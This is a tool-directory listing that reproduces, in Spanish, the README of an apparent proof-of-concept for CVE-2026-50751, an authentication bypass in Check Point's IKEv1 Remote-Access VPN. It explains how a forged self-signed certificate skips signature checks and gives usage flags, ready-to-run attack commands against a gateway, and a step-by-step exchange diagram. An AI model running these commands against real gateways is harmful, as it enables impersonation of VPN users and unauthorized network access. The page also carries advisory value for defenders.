Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-50751 — Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1). | Kitploit
Tools/GitHubGitHub/ull0a/cve-2026-50751
Exploit FrameworksVulnerability AnalysisExploitationNetwork SecurityCryptographyPenetration TestingAuthenticationRed TeamingRemote Access Tool
GitHubull0a/cve-2026-50751

CVE-2026-50751

Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).

127h 43m agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-50751 — PoC

Bypass de autenticación por certificado en la VPN Remote-Access de Check Point (IKEv1).

Descripción

CVE-2026-50751 es un bypass de autenticación en el demonio iked de Check Point, presente en las versiones R81.10, R82 y R82.10 sin el hotfix sk185033. El fallo permite autenticarse como cualquier usuario de Remote Access provisionado sin clave privada, sin contraseña y sin certificado válido.

El iked vulnerable lee un flag desde el Vendor ID VPNExtFeatures (bit 0x4) y, si está activado, omite verify_peer_auth / verifyMessagePhase1. Como consecuencia:

No se verifica la firma del certificado (prueba de posesión).

No se verifica la cadena de confianza.

Solo se comprueba que el subject DN resuelva a un usuario provisionado.

Basta con forjar un certificado autofirmado cuyo CN= coincida con el usuario objetivo y enviarlo con una firma inválida. Si el gateway acepta la fase 1, hemos quedado autenticados como ese usuario (la SA ISAKMP se guarda bajo su DN).

Funciona sobre IKE (UDP 500/4500) y sobre Visitor Mode (TCPT, TCP 443).

Uso

Sintaxis

root@kitploit:~
cve-2026-50751 -host <IP|hostname> -user <username> [opciones]

Opciones

FlagDescripciónDefecto
-hostIP o hostname del gateway (obligatorio)—
-userUsername RA a suplantar (obligatorio)—
-portPuerto: 500, 4500 (UDP) o 443 (TCPT)500
-orgOrganización (O=) de la ICA. Si se omite, se deriva del cert TLS—
-ouUnidad organizativa (OU=) del usuariousers
-timeoutTimeout por operación6s
-retriesReintentos de msg11
-vSalida verbosafalse

Ejemplos

Ataque básico por UDP/500

root@kitploit:~
sudo ./cve-2026-50751 -host 203.0.113.10 -port 500 -user victim -v

Visitor Mode TCPT/443

root@kitploit:~
./cve-2026-50751 -host 203.0.113.10 -port 443 -user victim -v

Forzando la organización en lugar de derivarla

root@kitploit:~
./cve-2026-50751 -host 203.0.113.10 -user victim -org "ACME Corp" -ou vpn -v

Sobre NAT-T (UDP/4500)

root@kitploit:~
sudo ./cve-2026-50751 -host 203.0.113.10 -port 4500 -user victim -v

Flujo del ataque

root@kitploit:~
Atacante                                             Gateway (iked vulnerable)
   │                                                          │
   │─── msg1: SA (RSA-SIG) + VPNExtFeatures VID (bit 0x4) ───▶│
   │                                                          │  Lee flag 0x4
   │                                                          │  Marca verify_peer_auth = skip
   │◀── msg2: SA aceptado ────────────────────────────────────│
   │                                                          │
   │─── msg3: KE (g^xi) + Ni ────────────────────────────────▶│
   │◀── msg4: KE (g^xr) + Nr ─────────────────────────────────│
   │                                                          │
   │  Deriva SKEYID, SKEYID_e, IV                             │
   │                                                          │
   │─── msg5 (cifrado): ID=DN forjado + CERT autofirmado     │
   │                    + firma aleatoria ───────────────────▶│
   │                                                          │  Omite verificación
   │                                                          │  de firma
   │                                                          │  Resuelve DN → usuario
   │◀── msg6 (cifrado): SA establecida ───────────────────────│
   │                                                          │
   │  Descifra msg6 con SKEYID_e → prueba de autenticación    │

Download Tool